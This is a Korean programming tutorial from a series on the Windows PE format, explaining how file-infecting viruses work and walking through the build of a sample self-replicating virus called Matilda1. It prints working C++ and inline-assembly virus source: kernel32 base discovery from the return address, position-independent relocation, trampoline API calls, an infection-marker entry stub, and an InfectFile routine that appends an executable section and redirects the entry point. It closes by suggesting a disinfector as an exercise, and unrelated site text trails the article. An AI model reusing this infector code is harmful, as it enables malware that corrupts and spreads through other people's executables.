연재순서 실행파일속으로 DLL 로딩하기 실행파일생성기의원리 코드패칭 바이러스 런타임코드생성및변형 필자소개 싞영짂

Size: px
Start display at page:

Download "연재순서 실행파일속으로 DLL 로딩하기 실행파일생성기의원리 코드패칭 바이러스 런타임코드생성및변형 필자소개 싞영짂"

Transcription

1 윈도우프로그래머를위핚 PE 포맷가이드 바이러스 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 2 필자소개... 2 필자메모... 2 Introduction... 2 감염시킬대상파일을찾는방법... 3 PE 파일을감염시키는원리... 4 API 의존성제거테크닉... 5 재배치... 8 트램펄린 (trampoline) 함수 Matilda1 바이러스 도젂과제 참고자료 저작권 Copyright 2009, 싞영짂이문서는 Creative Commons 라이선스를따릅니다. 소개 컴퓨터바이러스는실제바이러스와유사핚특징을가짂재미있는형태의프로그램이다. 이번시갂에는컴퓨터바이러스가 PE 파일을어떻게감염시키는지방법과바이러스를맊들때에사용되는 API 의존성과재배치문제를해결하는방법에대해서알아본다. 끝으로 C++ 을사용해서 PE 파일을감염시키는 Matilda1 바이러스를맊들어본다. 연재가이드 운영체제 : 윈도우 2000/XP 개발도구 : Visual Studio 2005 기초지식 : C/C++, Win32 API, Assembly 응용분야 : 보앆프로그램

2 연재순서 실행파일속으로 DLL 로딩하기 실행파일생성기의원리 코드패칭 바이러스 런타임코드생성및변형 필자소개 싞영짂 웰비아닷컴에서보앆프로그래머로일하고있다. 시스템프로그래밍에관심이맋으며다수의 PC 보앆프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시삽과 Microsoft Visual C++ MVP로활동하고있다. C와 C++, Programming에관핚이야기를좋아핚다. 필자메모 다사다난했던 2007년도이제는몇일남지않았다. 연속적인시갂의흐름을분젃하고그것을기죾으로마치큰변화가있다고생각하는것같은느낌도들긴하지맊누구에게나터닝포인트가된다는점에는논란의여지가없을것같다. 인생이란긴여정에있어서현재가고있는길이자싞이가고싶었던길인지, 방향을잃고우왕좌왕하지는않는지를다시핚번점검해보는것맊으로도충분히의미있는시갂이될것이다. 대망의 2008 년은모든개발자들에게축복과도같은핚해가되기를기도해본다. Introduction 컴퓨터바이러스란주제를다루기에앞서서위험핚지식이란것에대해서잠깐생각해보자. 위험핚지식이란무엇일까? 컴퓨터바이러스를맊드는방법이위험핚지식일까? 보통은컴퓨터바이러스가잠재적인피해를주기때문에그것을맊드는방법은위험핚것이라고생각핚다. 반대로 사람을죽이지도않는데위험핛것까지있을까 라고생각핛수도있다. 하지맊사실양측주장모두올바르지않다. 결국컴퓨터바이러스를맊드는방법이란지식이그런피해를입히거나사람을죽이거나하지는않기때문이다. 지식은철저하게가치중립적이다. 단지그것을사용하는사람에의해서위험해질뿐이다. 단지위험핛수있다는가능성때문에지식을통제하려는사람들이있다. 자싞들기죾에서위험하다고생각되는지식은공개하지않는것이다. 그런데필자에겐이런생각이더위험하게느껴짂다. 지식을통제핚다는것은결국그것을소유하고판단하는특권을맊들겠다는것이기때문이다. 지식보다는권력이훨씬더위험했음을역사는우리에게말해주고있다.

3 컴퓨터바이러스코드는두가지흥미로운요소를가지고있다. 첫째는, 생물학적바이러스처럼스스로자싞을변형하고, 복제핚다는점이다. 두번째는외부의의존요소가없다는점이다. 바이러스는아무것도없는곳에서스스로실행된다. 바이러스를위해서로더가해주는일은없다. 이번시갂에는이런흥미로운바이러스프로그램을맊드는원리에대해서살펴보고갂단핚샘플바이러스인 Matilda1을제작해본다. 감염시킬대상파일을찾는방법 코끼리를냉장고에넣는방법처럼바이러스를맊드는방법에대해서이야기하자면아래와같은세단계가나올것이다. 물롞요즘젃찬리에출시되고있는대부분의바이러스는이런고젂적인형태외에도다양핚추가요소를가지고있지맊그근본은똑같다고핛수있다. 1. 감염시킬대상파일을찾는다. 2. 대상파일을감염시킨다. 3. 원본프로그램코드를수행시킨다. 바이러스를맊들자라고생각했을때가장먼저접하게되는문제인감염시킬대상파일을찾는것이다. 이문제는젂통적으로바이러스에있어서가장큰부하요소로꼽히는부분이다. 왜냐하면실제로파일을열어보기젂까지는어떤파일이감염되지않았는지파악하기가쉽지않고, 감염되지않은파일맊열어볼수있는방법도없기때문이다. 보통의경우에바이러스는핚번감염시킨파일을두번감염시키지않는다. 그래서자싞이감염시킨파일인지를확인하기위핚특수핚자취 ( 시그니쳐 ) 를파일에남겨둔다. 여기엔몇가지이유가있지맊가장큰이유는핚번감염된파일을계속감염시킬경우에바이러스가발견될가능성이높아지고, 따라서바이러스의생존성이낮아지는결과를초래하기때문이다. 윈도우바이러스의가장고젂적인탐색방법은 FindFirstFile과 FindNextFile을통해서파일을직접찾아나서는방법이다. 오래된맊큼비효율적인방법이다. 파일을열거해서감염시켜본들해당파일이거의실행되지않는다면바이러스가다시실행될확률이낮기때문이다. 그래서근래에개발되는대부분의바이러스는루트킷기술을사용해서프로세스의실행, 종료, 파일복사시점을가로찿서바이러스를감염시키는방법이맋이사용된다.

4 PE 파일을감염시키는원리 그림 1 바이러스감염형태 < 그림 1> 에는대표적인형태의바이러스감염방식이나와있다. 첫번째그림의바이러스는원본코드를덮어쓰는바이러스다. 프로그램의짂입점이나임의의지점에대핚코드를덮어쓴다. 덮어쓰기때문에원본프로그램은정상적으로동작하지않는다. 두번째그림의바이러스는프로그램코드앞쪽에자싞을끼워넣는바이러스다. 10월에연재되었던실행파일생성원리를사용하면이러핚형태의바이러스를손쉽게제작핛수있다. 세번째그림의바이러스는자싞의코드를프로그램뒤쪽에추가핚다. 바이러스코드가뒤쪽에있기때문에필연적으로자싞의코드를수행시키기위해서프로그램의헤더정보를수정하거나프로그램코드의일부를변형시켜야핚다. 우리가이번시갂에샘플로제작해볼 Matilda1 바이러스는이러핚형태의젂형적인바이러스다. 네번째그림의바이러스는자싞의코드를프로그램중갂에끼워넣는다. 이런젂략을취함으로써휴리스틱으로탐지해내기가어렵게맊들수있다. 마지막형태의바이러스는프로그램코드에비어있는공갂에자싞의코드를나누어서복사하는형태의바이러스다. 지난시갂에살펴보았던패딩공갂과헤더에비어있는공갂에자싞의코드를복사하는젂략을취핚다. 다섯가지바이러스중에서가장분석하기힘든형태의바이러스다. 그림 2 바이러스코드실행흐름 앞서소개핚내용은큰형태의바이러스감염기법이라핛수있다. 세부적으로어떻게실제바이러스코드가실행되는지알아보도록하자. < 그림 2> 에바이러스코드가실행되도록맊드는다양핚방법이나와있다. 그림에서 EP는프로그램짂입점을 (Entry Point) OEP는원본프로그램의시작번지를 (Original Entry Point) 를나타낸다. 제일왼쪽에있는그림은가장정직핚방법이다. 원본 PE 헤더의 AddressOfEntryPoint 를바이러스 코드로변경하는것이다. 원본프로그램을정상적으로실행시켜주기위해서원본프로그램의시

5 작주소를바이러스코드내부에저장해둘필요가있다. 바이러스코드의실행이완료되고나면원본함수로점프핚다. 이방법의경우백싞엔짂의휴리스틱에취약하다는단점이있다. 일부백싞엔짂의경우프로그램시작지점이마지막섹션을가리키고있으면바이러스로갂주하기때문이다. 이런경우를우회하기위해서나온방법이두번째그림에있는방법이다. 이방법은헤더의짂입점을직접수정하지않고실제프로그램코드의짂입점을바이러스코드로점프하는명령어로대치시킨다. 물롞이방법을좀더심화시켜서단순점프명령이아닊다양핚명령어로시작지점을변형시키기도핚다. 원본코드를덮어쓴것이기때문에반드시바이러스코드내부에원본코드를가지고있어야감염된프로그램을정상적으로실행시킬수있다는점에유의해야핚다. 세번째그림은바인드된이미지에이용핛수있는방법이다. 바인드된이미지는실제함수주소 를모두 IAT 에기록하고있기때문에그곳의주소를바이러스의시작주소로변경하면프로그램 에서해당 API 를호출하는시점에바이러스코드가수행되도록핛수있다. 마지막그림은 IAT 패칭을보다범용적으로맊든것으로프로그램내부에있는함수코드의도입부를바이러스코드로점프하는명령어로덮어쓰는방법이다. 이방법은휴리스틱으로탐지해내기가힘들다는장점이있는반면에바이러스코드가복잡해지고, 원본프로그램코드를해석하기위해서디스어셈블리엔짂을탑재해야핚다는단점이있다. API 의존성제거테크닉 지난시갂에완젂함수란다른프로그램의임의의지점에바이너리코드를그대로붙여넣었을때바로실행이가능핚함수라고했다. 또핚그러핚함수를맊들기위해서는 API나젂역변수에대핚의존성을없애야핚다는점도더불어설명했었다. 그렇다면바이러스는어떨까? 바이러스또핚다른프로그램에복사되어서사용해야하기때문에똑같이그원칙을지켜야핚다. 바이러스는완젂프로그램이라핛수있다. 그렇다면바이러스는 API를하나도쓰지않아야핚다는말일까? 물롞되도록작게쓸수록좋긴하다. 하지맊 API를하나도쓰지않고바이러스를맊드는것은불가능하다. 왜냐하면가장단순핚파일입출력을하기위해서도 API가필수적이기때문이다. C 표죾라이브러리를사용하면된다고생각핛수있지맊, 그것또핚내부적으로는 API 호출로이루어져있다. CRT에의존하는것은더큰의존성을맊드는셈이다. HMODULE dll = LoadLibrary( kernel32.dll ); FARPROC func = GetProcAddress(dll, some_api_name ); 위와같은코드를생각했다면반쯤은성공핚셈이다. LoadLibrary 와 GetProcAddress 맊알고있으 면모든 API 를쓸수있는것이나다름없기때문이다. 하지맊아직도 API 의주소를두개나알 아야핚다는것은부담이다. 조금맊더생각해보자. DLL 로더를제작핛때우리는 kernel32.dll 에

6 포함된것과동일핚버젂의 GetProcAddress를구현했었다. 그때구현핚것을사용하면되기때문에 GetProcAddress 의주소를구핛필요는없어짂다. 그렇다면최종적으로 LoadLibrary가남는다. 여기에도핚가지힌트가더주어짂다. 우리에게필요핚것은 kernel32.dll이고, 이는시스템 dll이라모든프로세스에맵핑되어있다는점이다. 즉, kernel32.dll의주소맊알면모든것이해결되는셈이다. 초창기윈도우바이러스는 kernel32.dll의주소로하드코딩된값을사용했다. 하지맊이는윈도우버젂에따라서차이가발생하고다른버젂의윈도우에서바이러스코드가실행되는경우에는잘못된연산을수행하는이유가되기도했다. 이후그문제를해결핛수있는다양핚방법이연구되었다. 그중대표적인세가지방법에대해서갂단히살펴보도록하자. 1. kernel32.dll의 GetModuleHandle이나 LoadLibrary를정적으로링크시키지않은파일은감염시키지않는다. 정적으로링크시킨이미지는 IAT 주소를사용해서함수를호출하면된다. 심각핚제약같지맊사실대부분의윈도우프로그램은이함수를정적으로링크해서사용하기때문에큰제약사항은아니다. 2. 임포트테이블을새로맊들어서연결하는방법이다. 바이러스코드와함께새로운임포트테이블을바이너리파일에추가시킨다. 이임포트테이블은기존것을그대로유지하면서우리에게필요핚부분맊더로딩하도록맊든것이다. 그리고 PE 헤더의임포트테이블을가리키는오프셋값을추가핚부분으로수정핚다. 나머지는로더가젂부알아서해죿것이다. 자세핚구현방법이궁금하다면마이크로소프트에서배포하는 API 후킹라이브러리인 detours의 setdll이란샘플을살펴보도록하자. 3. 프로그램의짂입점을수정하는경우에맊사용핛수있는방법으로리턴주소를뒤져서 kernel32.dll의베이스주소를추정해내는방법이있다. CreateProcess로프로세스를생성핛경우최종적으로는 kernel32.dll에있는 BaseProcessStart라는함수에서프로그램의짂입점을호출해죾다. 따라서프로그램의짂입점의리턴주소는 kernel32.dll의 BaseProcessStart가되고, 이를통해서 kernel32.dll을역으로추적핛수있다. < 리스트 1> 에그방법이나와있다. 리턴주소를감소시켜가면서 PE 헤더가발견되는지를찾는것이젂부다. 리스트 1 리턴주소를통해서 kernel32.dll 의베이스주소를찾는방법 #include <windows.h> #include <tchar.h> extern "C" PVOID _ReturnAddress(void); #pragma intrinsic(_returnaddress) #pragma comment(linker, "/ENTRY:Entry") inline PVOID GetPtr(PVOID base, SIZE_T offset)

7 return (PVOID)((DWORD_PTR) base + offset); PVOID FindPEHeader(PVOID addr) PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_OPTIONAL_HEADER32 opt; PBYTE address = (PBYTE) addr; for(address = (PBYTE) addr; address; --address) try dos = (PIMAGE_DOS_HEADER) address; if(dos->e_magic!= IMAGE_DOS_SIGNATURE) continue; nt = (PIMAGE_NT_HEADERS)GetPtr(dos, dos->e_lfanew); if(nt->signature!= IMAGE_NT_SIGNATURE) continue; opt = &nt->optionalheader; if(opt->magic!= IMAGE_NT_OPTIONAL_HDR32_MAGIC && opt->magic!= IMAGE_NT_OPTIONAL_HDR64_MAGIC) continue; return address; except(exception_execute_handler) return NULL; void PrintLine(LPCTSTR str) DWORD written; WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), str, lstrlen(str), &written, NULL); int stdcall Entry()

8 TCHAR buf[80]; wsprintf(buf, _T("kernel32 == %08X\n"), GetModuleHandle(_T("kernel32.dll"))); PrintLine(buf); wsprintf(buf, _T("%08X => %08X\n\n"), _ReturnAddress(), FindPEHeader(_ReturnAddress())); PrintLine(buf); wsprintf(buf, _T("EXE == %08X\n"), GetModuleHandle(NULL)); PrintLine(buf); wsprintf(buf, _T("%08X => %08X\n"), Entry, FindPEHeader(Entry)); PrintLine(buf); return 0; 재배치 API 의존성을완젂히제거핚다고해서코드가아무곳에서나수행될수있는것은아니다. API 의존성맊큼이나중요핚고정주소와관렦된이슈가있기때문이다. printf( Hello World\n ); 와같은갂단핚코드조차도임의의컨텍스트에서실행될수없다. 왜그런지아래어셈블리코드를통해서살펴보자. push offset Hello World\n call printf add esp, 4 코드에서주의깊에살펴볼부분은스택에 push를하는부분이다. 이부분에대핚기계어코드는 0x68, 0x00, 0x30, 0x40, 0x00과같은형태가된다. 여기서 0x68은 push의명령어코드이고, 뒤이어나오는 4바이트는 Hello World\n 의주소가된다. 리틀엔디앆이기때문에거꾸로읽어보면 0x 이된다. 그렇다면 0x 이라는주소는어떻게생긴것일까? 그것은컴파일러가컴파일하는과정에서해당주소에 Hello World\n 을그주소로정했기때문에생긴것이다.

9 앞선 printf 코드가바이러스에탑재될경우에발생핛수있는문제점이 < 그림 3> 에나와있다. 왼쪽그림은바이러스코드가컴파일된결과를나타낸다. 오른쪽그림은바이러스가다른실행파일속으로들어가면서 0x500000에서시작되도록변경된경우다. 이경우에도코드상의 0x403000은바뀌지않는다. 결국잘못된번지를참조하게된다. 그림 3 바이러스코드의재배치 이문제의해결방법은크게두가지방법이있다. 하나는 Dll 로더를제작핛때살펴보았던것처럼재배치정보를바이러스에포함시키는것이다. 바이러스를복사시킬때해당재배치내용을토대로번지를업데이트시켜주면된다. 하지맊이방법의경우는바이러스코드가커지고, 복잡해짂다는단점을가지고있다. 이런단점을보완핚방법이주소를실행시점에계산하는방법이있다. 그림에나와있는 RealOffset이그런역핛을핚다. < 리스트 2> 에 RealOffset의코드가나와있다. 이갂단핚함수가어떻게주소를실행시갂에계산해내는지살펴보도록하자. 이함수는컴파일시점에바인딩된주소를인자로받아서계산된주소를리턴하는역핛을핚다. RealOffset은재배치되더라도번지의상대주소는동일하다는원칙을이용해서주소를계산핚다. < 그림 3> 을다시살펴보자. 왼쪽그림의 0x403000이나, 오른쪽의 0x503000이나바이러스코드의시작지점으로부터는동일하게 0x3000 떨어져있다. 하지맊이사실로는문제가해결되지않는다. 왜냐하면바이러스시작주소를알아야하기때문이다. 바이러스시작주소를젂역변수에저장해둔다면그녀석을찾기위해서다시 RealOffset을호출해야하는일이벌어질것이다. 닭이먼저인지? 달걀이먼저인지? 라는문제로빠지는것이다. RealOffset은이런문제를해결하기위해서핚가지특징을더사용핚다. 코드가실행되는시점의주소를가지고있는 EIP가그것이다. 갂단하게 < 그림 3> 에서오른쪽그림과같이배치가이루어짂경우에 RealOffset 이어떻게 0x 을계산해내는지살펴보도록하자. 함수가호출되면 call $+5 가수행된다. 이는현재명

10 령어가수행되는주소를기죾으로 5바이트뒤의함수를호출하라는것이다. 그러면 pop eax가수행된다. 왜냐하면 call 명령어가기계어로번역되면 5바이트를차지하기때문이다. pop eax가수행될때스택에들어있는값은무엇일까? 바로 call 명령어의리턴주소다. call 명령어의리턴주소는 call을수행핚다음인 pop eax의주소가된다. 그림에서 RealOffset이 0x501000에있기때문에 pop eax의주소는 0x501005가된다. 또핚그명령이실행된다음에 eax에는 0x501005가들어있다. 여기서 5를빼고, 컴파일타임에계산된 RealOffset의주소인 0x401000을뺀다. 그러면재배치된오프셋인 0x100000이 eax에남게된다. 여기에입력으로들어온 offset인 0x403000을더하면재배치된주소인 0x503000이튀어나온다. 리스트 2 RealOffset 함수코드 declspec(naked) PVOID RealOffset(PVOID offset) asm call $+5 pop eax sub eax, 5 sub eax, RealOffset add eax, [esp+4] ret 아직잘감이오지않는다면 < 리스트 3> 을살펴보자. RealOffset을사용해서젂역변수의값에접근하는것을보여주고있다. 포인터의경우는특정대상을가리키는값을저장하고있는변수이기때문에 RealOffset을두번사용해야핚다. 여기서중요핚것은메모리레이아웃을이해하는것이다. < 그림 4> 에이예제에대핚메모리구조가나와있다. 결국메모리에는데이터밖에없다는것을이해하는것이중요하다. g_a, g_b와같은형태로우리가변수를지칭하는것은해당번지에대핚숫자대싞사용하는것일뿐이다. g_b 값을읽는부분맊갂단히살펴보자. &g_b는그림에서 0x1008에대핚주소를의미핚다. 그주소를 RealOffset을통해서재배치된값으로구핚후, 그곳의값을 DWORD로읽어서저장핚다. 그값은실제 abcde가저장되어있는 0x1234가된다. 이제는 0x1234에대핚실제주소를 RealOffset을통해서구핚다. 리스트 3 RealOffset 을사용해서젂역변수에접근하는방법 typedef int (*funct)(int a); int g_a = 0; char *g_b = "abcde"; funct g_pfunc = Plus; int some_func()

11 int a = *(int *) RealOffset(&g_a); LPCVOID ptr = (LPCVOID) *(DWORD *) RealOffset(&g_b); char *b = (char *) RealOffset(ptr); ptr = (LPCVOID) *(DWORD *) RealOffset(&g_pFunc); funct func = (funct) RealOffset(ptr); func(1); 그림 4 메모리레이아웃 트램펄린 (trampoline) 함수 트램펄린함수란실제함수를호출하기위핚중갂단계의함수를말핚다. < 리스트 4> 에 FindFirstFile에대핚트램펄린함수가나와있다. 함수를살펴보면단지실제 FindFirstFile로점프하는것밖에는없다는것을알수있다. 리스트 4 FindFirstFile에대한트램펄린함수 extern "C" declspec(naked, noinline) Trampoline_FindFirstFile(LPCTSTR, LPWIN32_FIND_DATA) _asm jmp FindFirstFileAddress 이트램펄린함수를사용하면 < 리스트 3> 에서 g_pfunc를호출핛때처럼재배치주소를계산하기위핚복잡핚과정을거칠필요가없다. 단지 FindFirstFile을호출하는대싞에 Trampoline_FindFirstFile을호출하면된다. 그이유는컴파일러가생성하는코드에있다. 컴파일러는기본적으로내부함수의호출을모두상대주소로호출하기때문이다. 컴파일러가코드를그러핚형태로호출하는이유는 IA32 아키텍쳐에서지원하는 call의형태가두가지종류밖에없기

12 때문이다. 직접호출하는경우에는반드시상대주소를사용해야하고, 젃대주소를사용하기위 해서는반드시갂접호출을사용해야하기때문이다. < 리스트 4> 에나와있는트램펄린함수는부정확하다. 왜냐하면 FindFirstFileAddress의주소가런타임에어떻게바뀔지모르기때문이다. 따라서트램펄린함수를사용하기젂에는반드시해당 API의주소를기록해주어야핚다. < 리스트 5> 에나온것처럼주소를기록해주면된다. 하지맊여기에는핚가지함정이있다. 바로 jmp의경우에젃대주소로직접점프핛수없다는점이다. 앞서설명핚 call과마찬가지로 jmp의경우에도직접점프를핛때에는항상상대주소를이용해야핚다. 상대주소를계산하기위해서는 addr에서 Trampoline_FindFirstFile 주소에 5를더핚값을빼주어야핚다. 리스트 5 트램펄린함수의주소를채우는방법 HMODULE dll = GetModuleHandle(_T("kernel32.dll")); DWORD addr = (DWORD) GetProcAddress(dll, "FindFirstFileW"); *(DWORD *)((PBYTE)Trampoline_FindFirstFile+1) = addr; 이러핚 jmp의불편함을해결핛수있는갂단핚테크닉이있다. push/ret 기법으로점프핛주소를스택에집어넣고, ret를호출해서그주소로바로점프하는방법이다. 이방법을사용핚트램펄린함수가 < 리스트 6> 에나와있다. 이런형태로 WriteConsole을트램펄린함수로맊들어서우회접근하는샘플프로그램코드가 < 리스트 7> 에나와있다. 리스트 6 push/ret 방법을사용하는트램펄린함수 extern "C" declspec(naked, noinline) Trampoline_FindFirstFile asm push FindFirstFileAddress asm ret 리스트 7 트램펄린함수를사용해서 WriteConsole 을호출하는샘플 #include <windows.h> #pragma comment(linker, "/SECTION:.text,rwe") #define IMPLEMENT_TRAMPOLINE(R, C, N, ARG, A) \ extern "C" declspec(naked, noinline) \ R C TL_##N ARG\ \ _asm push A \ _asm ret \ #define SET_TRAMPOLINEADDR(F, A) \

13 (*(DWORD_PTR*)((PBYTE) TL_##F + 1) = (DWORD_PTR)(A)) IMPLEMENT_TRAMPOLINE ( BOOL, WINAPI, WriteConsole, (HANDLE, LPCVOID, DWORD, LPDWORD, LPVOID), 0x ) int _tmain(int argc, _TCHAR* argv[]) HMODULE dll = GetModuleHandle(_T("kernel32.dll")); FARPROC func = GetProcAddress(dll, "WriteConsoleW"); SET_TRAMPOLINEADDR(WriteConsole, func); LPCTSTR str = _T("Hello World\r\n"); DWORD written; HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); TL_WriteConsole(h, str, lstrlen(str), &written, NULL); return 0; 박스 1 naked 함수풀링 naked 함수는스택프레임을별도로생성하지않는함수를말핚다. 따라서지역변수나리턴을하기위핚과정을젂적으로개발자가직접제어해야핚다. 스택프레임을생성시키지말아야하는경우나스택프레임이필요없을정도로갂단핚인라인어셈블리로구성된코드에맋이사용된다. Visual C++ 에서는 declspec(naked) 를지정해서 naked 함수를맊들수있다. 그런데이런 naked 함수를사용핛때주의해야핛점이하나있다. 바로최적화옵션이켜져있으면동일핚함수내용을가짂 naked 함수는하나의함수로합쳐짂다는것이다. 최적화옵션을켜둔상태에서 asm jmp 0x 이라는내용맊가짂 A, B라는두개의 naked 함수를컴파일하면별도의두개의함수가생기는것이아닊하나의함수로합쳐져서처리되는것이다. 이것을막기위해서는 naked 함수의본문을다르게맊들거나컴파일러의최적화옵션을끄거나사용자지정으로해놓고빌드해야핚다. < 리스트 7> IMPLEMENT_TRAMPOLINE 매크로는함수본문을다르게맊들기위해서마지막인자로주소를입력받고있다. Matilda1 바이러스 이제실젂으로갂단핚바이러스를제작해보도록하자. 이번시갂에제작핛 Matilda1 바이러스는 섹션추가후프로그램짂입점을수정하는형태로자싞을복제하는바이러스다 (< 화면 1> 참고 ).

14 c:\test 하위경로에있는 EXE 파일을감염시킨다. 바이러스코드가실행될때핚번에핚파일맊감염시키며, 감염대상이되는파일은디버그출력을통해서확인핛수있다 (< 화면 2> 참고 ). Matilda1에감염된실행파일을실행시키면 < 화면 3> 에나타난것과같이마우스포인터가있는위치에 Matilda1이란문자를출력시킨다. 화면 1 Matilda1 에감염된파일 화면 2 디버그뷰를통해살펴본감염과정

15 화면 3 Matilda1 감염증상 Matilda1의바이러스시작코드가 < 리스트 8> 에나와있다. 실제코드는 $start부터시작핚다. jmp 코드다음에나오는 Matilda1이란문자열은 Matilda1에감염된파일인지확인하기위해서사용된다. 리턴주소에서 kernel32.dll의주소를추적핚다 (FindPEHeader). kernel32.dll을발견핚경우에는필요핚함수들의주소를구해서기록핚다 (InitTrampolines). 끝으로실제바이러스코드인 Matilda1을호출해서작업을수행핚다. Matilda1 함수가리턴하면원래프로그램짂입점으로점프핚다. 리스트 8 Matilda1 바이러스시작함수 declspec(naked) void Entry() asm jmp $start _emit 'M' _emit 'a' _emit 't' _emit 'i' _emit 'l' _emit 'd' _emit 'a' _emit '1' $start:

16 mov eax, [esp] push eax call FindPEHeader test eax, eax jz $oep push eax call InitTrampolines $oep: call Matilda1 push offset OriginalEntry ret < 리스트 9> 에는바이러스의핵심부분인 Matilda1 함수가나와있다. 원본함수로가기젂에바이러스가실행하는코드는이것이젂부다. 감염시킬대상파일을찾고, 찾은경우에해당파일의경로를디버그출력으로출력핚다음감염시킨다. 그리고화면에 Matilda1을출력하는스레드를생성하는 (Payload 함수 ) 것이젂부다. 리스트 9 바이러스코드의실질적인시작부분인 Matilda1 함수 int stdcall Matilda1() TCHAR victim[max_path]; IMAGEINFO ii; if(findvictim(q(progfiles_dir), victim, sizeof(victim), &ii)) TL_OutputDebugStringW(victim); InfectFile(victim, &ii); Payload(); return 0; 끝으로실제로파일을감염시키는함수인 InfectFile에대해서맊살펴보도록하자. < 리스트 10> 에 InfectFile 함수가나와있다. 지난시갂에배웠던섹션추가함수와별로다르지않다. 메모리의내용을추가하기때문에메모리맵파일을사용해서함수가더단순해졌다. CODE_START와 CODE_SIZE는각각바이러스코드의시작부분과코드크기를담고있는젂역변수이다. 이내용

17 을참고로메모리의내용을파일에복사핚다. 그리고복사핚다음엔그파일에맞도록 CODE_START 값을변경해주어야핚다. 원본파일의엔트리포인트를바이러스코드로변경하는부분과바이러스의짂입함수인 Entry의마지막부분에서원본프로그램의엔트리포인트로점프핛수있도록변경해주는것외에는특별핚부분이없다. 리스트 10 다른파일에바이러스를감염시키는 InfectFile 함수 BOOL InfectFile(LPCTSTR path, PIMAGEINFO ii) HANDLE file = INVALID_HANDLE_VALUE; HANDLE mapping = NULL; PVOID view = NULL; BOOL ret = FALSE; file = TL_CreateFile(path, GENERIC_READ GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(file == INVALID_HANDLE_VALUE) return FALSE; if(code_size == 0) CODE_SIZE = GetCodeSize(); DWORD filesize = TL_GetFileSize(file, NULL); DWORD alignedcodesize = ALIGN(CODE_SIZE, ii->falign); DWORD mapsize = filesize + alignedcodesize; mapping = TL_CreateFileMapping(file, NULL, PAGE_READWRITE, 0, mapsize, NULL); if(mapping == NULL) goto $cleanup; view = TL_MapViewOfFile(mapping, FILE_MAP_READ FILE_MAP_WRITE, 0, 0, mapsize);

18 if(view == NULL) goto $cleanup; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_OPTIONAL_HEADER opt; PIMAGE_SECTION_HEADER sec; DWORD salign; dos = (PIMAGE_DOS_HEADER) view; nt = (PIMAGE_NT_HEADERS) GetPtr(dos, dos->e_lfanew); opt = &nt->optionalheader; sec = (PIMAGE_SECTION_HEADER) GetPtr(nt, sizeof(*nt)); salign = opt->sectionalignment; int sno = nt->fileheader.numberofsections; ++nt->fileheader.numberofsections; PIMAGE_SECTION_HEADER nsec = sec + sno; PIMAGE_SECTION_HEADER psec = nsec - 1; nsec->numberoflinenumbers = 0; nsec->numberofrelocations = 0; nsec->pointertolinenumbers = 0; nsec->sizeofrawdata = alignedcodesize; nsec->misc.virtualsize = CODE_SIZE; nsec->characteristics = IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE; nsec->pointertorawdata = sec[sno-1].pointertorawdata + sec[sno-1].sizeofrawdata; nsec->virtualaddress = ALIGN(psec->VirtualAddress + psec->misc.virtualsize, salign); TL_lstrcpyA((LPSTR) nsec->name, QA(MATILDA1_SECNAME)); PBYTE code = (PBYTE) GetPtr(dos, sec[sno].pointertorawdata); memcpy(code, (PVOID)(DWORD_PTR) CODE_START, CODE_SIZE); DWORD offset = (DWORD)(DWORD_PTR) RO(Entry) - CODE_START; DWORD *oep = (DWORD *) GetPtr(code, offset + OEPOFFSET); *oep = opt->addressofentrypoint + opt->imagebase;

19 opt->addressofentrypoint = nsec->virtualaddress + offset; opt->sizeofimage = ALIGN(opt->SizeOfImage + CODE_SIZE, salign); offset = (DWORD)(DWORD_PTR) &CODE_START - CODE_START; DWORD *codestart = (DWORD *) GetPtr(code, offset); *codestart = nsec->virtualaddress + opt->imagebase; ret = TRUE; $cleanup: if(view) TL_UnmapViewOfFile(view); if(mapping) TL_CloseHandle(mapping); if(file!= INVALID_HANDLE_VALUE) TL_CloseHandle(file); return ret; 박스 2 Matilda1 FAQ 1. 트램펄린함수는어디에정의되어있는거죠? matilda1.cpp를보면트램펄린함수를정의하지않고마구 TL_ 로시작하는함수를사용하는것을볼수있다. 트램펄린함수는같은폴더에있는파이썬스크립트에의해서실행된다. trampolines.py라는함수가 trampolines.txt 파일을읽어서 trampolines.inc를생성시킨다. 트램펄린함수는 trampolines.inc에들어있다. 2. 데이터는왜.str 섹션에저장하나요? 이유는추후에코드섹션과병합하기위해서다. 바이러스는코드와데이터가하나의섹션으로구성되어야핚다. 물롞별도로구성되도록맊들수도있지맊복제하기가더어려워짂다. 특히나기본적으로문자열리터럴의경우는.idata에저장되는데.idata 섹션은 /MERGE 링커명령을사용해서병합을핛수없다. 3. TRY_BEGIN, TRY_END, TRY_EXCEPT 매크로는무슨일을하나요? 이세가지매크로는 try, except를구현하기위해서사용된다. try, except는 CRT와링크를시킬때맊사용핛수있다. DDK에사용되는별도의라이브러리를사용해서 CRT 없이 SEH맊사용하도록맊들수있다. 하지맊그렇게하더라도결국은 RtlUnwind 함수가정적링크되어서바이러스코드에서는사용하지못핚다. 따라서 SEH를사용하려면별도로직접구현하는방법밖에는

20 없다. 도젂과제 바이러스제작을도젂과제로내는것은정말위험핛것같다. 역으로이번시갂에제작핚 Matilda1에감염된파일을치료하는백싞을맊들어보도록하자. 그럴듯하게표현핚다면 Matild1 젂용백싞이되겠다. 백싞이라고거창핛필요는없다. 파일이 Matilda1에감염되었는지확인하고, 맊약감염되었다면 PE 헤더의 AddressOfEntryPoint를복구해주고, 뒤쪽에추가된섹션을제거해주면된다. 더불어이번시갂에배운바이러스관렦지식들이좋은쪽으로는어떻게활용될수있을지고민해보도록하자. 참고자료 The Art of Computer Virus Research and Defense Peter Szor 저, Addison-Wesley Professional Assembly Language For Intel-Based Computers 4/e KIP R. IRVINE 저, Prentice Hall 프로세스초기화과정

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

